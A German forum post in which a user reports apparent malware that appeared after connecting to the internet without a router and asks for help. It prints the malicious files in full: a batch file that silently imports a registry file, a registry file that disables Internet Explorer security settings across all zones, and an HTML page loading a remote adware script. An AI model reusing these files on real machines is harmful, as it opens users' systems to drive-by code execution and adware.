folgendes:
habe kurzfristig meinen router abgeklemmt und bin so ins netz gegangen.
darauf öffnete sich beim starten des rechners eine dos box die irgendein programm aufruft.
darauf öffnete sich ein ie fenster mit der seite c:\staff.html
im hauptverzeichnis haben sich 4 eingenistet:
staff.html
trofkz.reg
x.bat
xkf.exe
suche schon wie ein bekloppter im netz, finde nichts darüber.
adaware und virenscanner und co finden nichts.
hier mal der inhalt der dateien:
x.bat
@echo off
REGEDIT.EXE /S trofkz.REG
netstat -e
cls
staff.html
exit
und die staff.html:
<html>
<title> [ Hmm? ] </title>
<center>
<body>
<!-- AUTO_PROMPT AD START -->
<script language="JavaScript" type="text/JavaScript" src="http://public.searchbarcash.com/v2/prompt.php?p=9FD0986F08B7A3A68E5BE10BA1D39A4967FEF1419B066DF507A34BF3E04F1A972A9675F8ACA6DF0941B9C2D108A3DD96CAA890A294B559F064EDFDB76D3DE35582F498B1532B1ABED3C75C3211999E2A4084846E59F19CE34824B2DBDDC28216DB9146934EAD6CF5F2CBF06FB1F42CBEEE36DFA829CC22F0E9CCA989266D5D45BFDAAF0A7D62E36F88434F"></script>
<!-- AUTO_PROMPT AD END -->
</script>
</body>
</center>
</html>
und die trofkz.reg
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0]
"1004"=dword:00000000
"1201"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1]
"1004"=dword:00000000
"1201"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2]
"1004"=dword:00000000
"1201"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
"1004"=dword:00000000
"1201"=dword:00000000
"1406"=dword:00000000
"1A04"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4]
"1004"=dword:00000000
"1201"=dword:00000000
"1001"=dword:00000000
"1200"=dword:00000000
"1400"=dword:00000000
"1606"=dword:00000000
"1607"=dword:00000000
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults]
"http"=dword:00000000
weiß jemand rat?
es findet übrigends permanent datenverkehr statt. irgendwas läuft da, in 1 minute ca 0,5 mb
